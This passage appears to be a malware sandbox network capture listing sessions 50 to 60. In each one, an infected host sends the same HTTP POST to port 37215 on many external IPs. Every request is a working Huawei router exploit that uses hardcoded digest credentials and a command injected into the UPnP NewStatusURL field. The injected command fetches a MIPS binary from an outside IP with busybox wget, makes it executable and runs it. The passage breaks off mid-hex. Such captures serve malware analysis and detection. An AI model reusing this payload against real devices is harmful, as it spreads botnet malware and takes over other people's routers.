62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	48696	197.102.48.75	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.967677116 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	47438	41.96.165.212	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.969111919 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	49694	197.10.32.113	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.971013069 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	33980	197.226.156.116	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.972537994 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	45004	41.185.117.166	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.974262953 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	54552	41.253.163.98	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.975279093 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	48530	197.108.73.223	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.976362944 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	59818	41.83.106.232	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.977524996 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	55888	41.138.112.209	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.978621960 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	44470	156.122.208.214	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.979896069 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	52156	156.142.59.249	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.981159925 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 